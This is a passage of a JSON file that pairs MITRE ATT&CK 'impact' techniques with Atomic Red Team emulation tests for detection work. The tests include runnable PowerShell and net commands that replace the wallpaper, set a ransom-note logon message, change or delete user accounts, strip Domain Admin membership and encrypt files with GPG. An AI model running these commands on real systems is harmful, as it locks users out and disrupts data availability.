- "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_impact_type": [
- "Integrity"
- ],
- "identifier": "T1491.001"
- },
- "atomic_tests": [
- {
- "name": "Replace Desktop Wallpaper",
- "auto_generated_guid": "30558d53-9d76-41c4-9267-a7bd5184bed3",
- "description": "Downloads an image from a URL and sets it as the desktop wallpaper.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "url_of_wallpaper": {
- "description": "URL pointing to the image file you wish to set as wallpaper",
- "type": "url",
- "default": "https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png"
- },
- "pointer_to_orginal_wallpaper": {
- "description": "Full path to where a file containing the original wallpaper location will be saved",
- "type": "string",
- "default": "$env:TEMP\\T1491.001-OrginalWallpaperLocation"
- },
- "wallpaper_location": {
- "description": "Full path to where the downloaded wallpaper image will be saved",
- "type": "string",
- "default": "$env:TEMP\\T1491.001-newWallpaper.png"
- }
- },
- "executor": {
- "command": "$url = \"#{url_of_wallpaper}\"\n$imgLocation = \"#{wallpaper_location}\"\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\Control Panel\\Desktop\\' -Name WallPaper).WallPaper\n$orgWallpaper | Out-File -FilePath \"#{pointer_to_orginal_wallpaper}\"\n$updateWallpapercode = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n public class Wallpaper{ \n [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n \n public static void SetWallpaper(string thePath){ \n SystemParametersInfo(20,0,thePath,3); \n }\n }\n} \n'@\n$wc = New-Object System.Net.WebClient \ntry{ \n $wc.DownloadFile($url, $imgLocation)\n add-type $updateWallpapercode \n [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \ncatch [System.Net.WebException]{ \n Write-Host(\"Cannot download $url\") \n add-type $updateWallpapercode \n [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \nfinally{ \n $wc.Dispose() \n}\n",
- "cleanup_command": "$updateWallpapercode = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n public class Wallpaper{ \n [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n \n public static void SetWallpaper(string thePath){ \n SystemParametersInfo(20,0,thePath,3); \n }\n }\n} \n'@\nif (Test-Path -Path #{pointer_to_orginal_wallpaper} -PathType Leaf) {\n $orgImg = Get-Content -Path \"#{pointer_to_orginal_wallpaper}\"\n add-type $updateWallpapercode \n [Win32.Wallpaper]::SetWallpaper($orgImg)\n}\nRemove-Item \"#{pointer_to_orginal_wallpaper}\" -ErrorAction Ignore\nRemove-Item \"#{wallpaper_location}\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message",
- "auto_generated_guid": "ffcbfaab-c9ff-470b-928c-f086b326089b",
- "description": "Display ransom message to users at system start-up by configuring registry keys HKLM\\SOFTWARE\\Micosoft\\Windows\\CurrentVersion\\Policies\\System\\LegalNoticeCaption and HKLM\\SOFTWARE\\Micosoft\\Windows\\CurrentVersion\\Policies\\System\\LegalNoticeText.\n\n[SynAck Ransomware](https://www.trendmicro.com/vinfo/es/security/news/cybercrime-and-digital-threats/synack-ransomware-leverages-process-doppelg-nging-for-evasion-and-infection), \n[Grief Ransomware](https://redcanary.com/blog/grief-ransomware/), \n[Maze Ransomware](https://cyware.com/research-and-analysis/maze-ransomware-a-deadly-combination-of-data-theft-and-encryption-to-target-us-organizations-8f27),\n[Pysa Ransomware](https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-destructive-pysa-ransomware),\n[Spook Ransomware](https://community.fortinet.com/t5/FortiEDR/Threat-Coverage-How-FortiEDR-protects-against-Spook-Ransomware/ta-p/204226),\n[DopplePaymer Ransomware](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Dopplepaymer&threatId=-2147221958),\n[Reedemer Ransomware](https://blog.cyble.com/2022/07/20/redeemer-ransomware-back-action/),\n[Kangaroo Ransomware](https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "legal_notice_caption": {
- "description": "Title of ransom message",
- "type": "string",
- "default": "PYSA"
- },
- "legal_notice_text": {
- "description": "Body of ransom message",
- "type": "string",
- "default": "Hi Company, every byte on any types of your devices was encrypted. Don't try to use backups because it were encrypted too. To get all your data contact us:xxxx@onionmail.org"
- }
- },
- "executor": {
- "command": "$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption).LegalNoticeCaption\n$orgLegalNoticeText = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText).LegalNoticeText\n$newLegalNoticeCaption = \"#{legal_notice_caption}\"\n$newLegalNoticeText = \"#{legal_notice_text}\"\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force ",
- "cleanup_command": "Set-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeCaption -Value $orgLegalNoticeCaption -Type String -Force\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name LegalNoticeText -Value $orgLegalNoticeText -Type String -Force\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1565": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931",
- "created": "2020-03-02T14:19:22.609Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1565",
- "url": "https://attack.mitre.org/techniques/T1565"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
- "modified": "2022-04-19T23:03:02.016Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Data Manipulation",
- "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "File: File Modification",
- "Process: OS API Execution",
- "File: File Deletion",
- "File: File Creation",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "File: File Metadata"
- ],
- "x_mitre_impact_type": [
- "Integrity"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1531": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Office 365",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
- "created": "2019-10-09T18:48:31.906Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1531",
- "url": "https://attack.mitre.org/techniques/T1531"
- },
- {
- "source_name": "CarbonBlack LockerGoga 2019",
- "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/",
- "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019."
- },
- {
- "source_name": "Unit42 LockerGoga 2019",
- "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/",
- "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser
and Set-ADAccountPassword
[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd
utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ",
- "modified": "2022-04-19T22:57:27.449Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Account Access Removal",
- "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "User Account: User Account Modification",
- "User Account: User Account Deletion",
- "Active Directory: Active Directory Object Modification"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1531"
- },
- "atomic_tests": [
- {
- "name": "Change User Password - Windows",
- "auto_generated_guid": "1b99ef28-f83c-4ec5-8a08-1a56263a5bb2",
- "description": "Changes the user password to hinder access attempts. Seen in use by LockerGoga. Upon execution, log into the user account \"AtomicAdministrator\" with\nthe password \"HuHuHUHoHo283283\".\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_account": {
- "description": "User account whose password will be changed.",
- "type": "string",
- "default": "AtomicAdministrator"
- },
- "new_user_password": {
- "description": "Password to use if user account must be created first",
- "type": "string",
- "default": "User2ChangePW!"
- },
- "new_password": {
- "description": "New password for the specified account.",
- "type": "string",
- "default": "HuHuHUHoHo283283@dJD"
- }
- },
- "executor": {
- "command": "net user #{user_account} #{new_user_password} /add\nnet.exe user #{user_account} #{new_password}\n",
- "cleanup_command": "net.exe user #{user_account} /delete >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Delete User - Windows",
- "auto_generated_guid": "f21a1d7d-a62f-442a-8c3a-2440d43b19e5",
- "description": "Deletes a user account to prevent access. Upon execution, run the command \"net user\" to verify that the new \"AtomicUser\" account was deleted.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "new_user_password": {
- "description": "Password to use if user account must be created first",
- "type": "string",
- "default": "User2DeletePW!"
- },
- "user_account": {
- "description": "User account to be deleted.",
- "type": "string",
- "default": "AtomicUser"
- }
- },
- "executor": {
- "command": "net user #{user_account} #{new_user_password} /add\nnet.exe user #{user_account} /delete\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Remove Account From Domain Admin Group",
- "auto_generated_guid": "43f71395-6c37-498e-ab17-897d814a0947",
- "description": "This test will remove an account from the domain admins group\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Requires the Active Directory module for powershell to be installed.\n",
- "prereq_command": "if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Add-WindowsCapability -Online -Name \"Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0\"\n"
- }
- ],
- "input_arguments": {
- "super_user": {
- "description": "Account used to run the execution command (must include domain).",
- "type": "string",
- "default": "domain\\super_user"
- },
- "super_pass": {
- "description": "super_user account password.",
- "type": "string",
- "default": "password"
- },
- "remove_user": {
- "description": "Account to remove from domain admins.",
- "type": "string",
- "default": "remove_user"
- }
- },
- "executor": {
- "command": "$PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \"CN=Domain Admins*\"){\n Remove-ADGroupMember -Identity \"Domain Admins\" -Members #{remove_user} -Credential $Credential -Confirm:$False\n} else{\n write-host \"Error - Make sure #{remove_user} is in the domain admins group\" -foregroundcolor Red\n}\n",
- "name": "powershell",
- "elevation_required": false
- }
- }
- ]
- },
- "T1486": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oleg Kolesnikov, Securonix",
- "Mayuresh Dani, Qualys",
- "Harshal Tupsamudre, Qualys",
- "Travis Smith, Qualys"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
- "created": "2019-03-15T13:59:30.390Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1486",
- "url": "https://attack.mitre.org/techniques/T1486"
- },
- {
- "source_name": "CarbonBlack Conti July 2020",
- "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
- "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
- },
- {
- "source_name": "FireEye WannaCry 2017",
- "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
- "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019."
- },
- {
- "source_name": "Rhino S3 Ransomware Part 1",
- "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/",
- "description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021."
- },
- {
- "source_name": "NHS Digital Egregor Nov 2020",
- "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary",
- "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."
- },
- {
- "source_name": "US-CERT Ransomware 2016",
- "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A",
- "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019."
- },
- {
- "source_name": "US-CERT NotPetya 2017",
- "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A",
- "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."
- },
- {
- "source_name": "US-CERT SamSam 2018",
- "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A",
- "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)",
- "modified": "2022-04-19T17:59:45.105Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Data Encrypted for Impact",
- "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "Cloud Storage: Cloud Storage Metadata",
- "Cloud Storage: Cloud Storage Modification",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1486"
- },
- "atomic_tests": [
- {
- "name": "PureLocker Ransom Note",
- "auto_generated_guid": "649349c7-9abf-493b-a7a2-b1aa4d141528",
- "description": "building the IOC (YOUR_FILES.txt) for the PureLocker ransomware \nhttps://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "echo T1486 - Purelocker Ransom Note > %USERPROFILE%\\Desktop\\YOUR_FILES.txt\n",
- "cleanup_command": "del %USERPROFILE%\\Desktop\\YOUR_FILES.txt >nul 2>&1\n"
- }
- },
- {
- "name": "Data Encrypted with GPG4Win",
- "auto_generated_guid": "4541e2c2-33c8-44b1-be79-9161440f1718",
- "description": "Gpg4win is a Windows tool (also called Kleopatra which is the preferred certificate manager) that uses email and file encryption packages for symmetric encryption. It is used by attackers to encrypt disks. User will need to add pass phrase to encrypt file as automation is not allowed under newer versions.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "GPG_Exe_Location": {
- "description": "Path of the GPG program",
- "type": "Path",
- "default": "C:\\Program Files (x86)\\GnuPG\\bin\\gpg.exe"
- },
- "File_to_Encrypt_Location": {
- "description": "Path of File",
- "type": "Path",
- "default": "$env:temp\\test.txt"
- }
- },
- "dependencies": [
- {
- "description": "GPG must exist at (#{GPG_Exe_Location})\n",
- "prereq_command": "if (test-path '#{GPG_Exe_Location}'){exit 0} else {exit 1}\n",
- "get_prereq_command": "invoke-webrequest \"https://files.gpg4win.org/gpg4win-4.1.0.exe\" -outfile \"$env:temp\\gpginstall.exe\"\ncmd /c \"$env:temp\\gpginstall.exe\" /S\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "cmd /c '#{GPG_Exe_Location}' -c '#{File_to_Encrypt_Location}'\n",
- "cleanup_command": "remove-item '#{File_to_Encrypt_Location}.gpg' -force -erroraction silentlycontinue | out-null\n"
- }
- }
- ]
- },
- "T1488": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7",
- "type": "attack-pattern",
- "created": "2019-03-29T14:59:50.763Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1488",
- "url": "https://attack.mitre.org/techniques/T1488"
- },
- {
- "source_name": "Novetta Blockbuster",
- "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
- "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
- },
- {
- "source_name": "Novetta Blockbuster Destructive Malware",
- "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
- "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
- },
- {
- "source_name": "DOJ Lazarus Sony 2018",
- "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
- "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
- }
- ],
- "modified": "2020-02-20T22:07:27.495Z",
- "name": "Disk Content Wipe",
- "description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for unusual kernel driver installation activity.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1499": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Alfredo Oliveira, Trend Micro",
- "David Fiser, @anu4is, Trend Micro",
- "Magno Logan, @magnologan, Trend Micro",
- "Vishwas Manral, McAfee",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4",
- "created": "2019-04-18T11:00:55.862Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1499",
- "url": "https://attack.mitre.org/techniques/T1499"
- },
- {
- "source_name": "Cisco DoSdetectNetflow",
- "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
- "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
- },
- {
- "source_name": "FSISAC FraudNetDoS September 2012",
- "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf",
- "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019."
- },
- {
- "source_name": "ArsTechnica Great Firewall of China",
- "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/",
- "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019."
- },
- {
- "source_name": "FireEye OpPoisonedHandover February 2016",
- "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html",
- "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019."
- },
- {
- "source_name": "USNYAG IranianBotnet March 2016",
- "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged",
- "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019."
- },
- {
- "source_name": "Symantec DDoS October 2014",
- "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf",
- "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/227.html",
- "source_name": "capec",
- "external_id": "CAPEC-227"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/131.html",
- "source_name": "capec",
- "external_id": "CAPEC-131"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/130.html",
- "source_name": "capec",
- "external_id": "CAPEC-130"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/125.html",
- "source_name": "capec",
- "external_id": "CAPEC-125"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
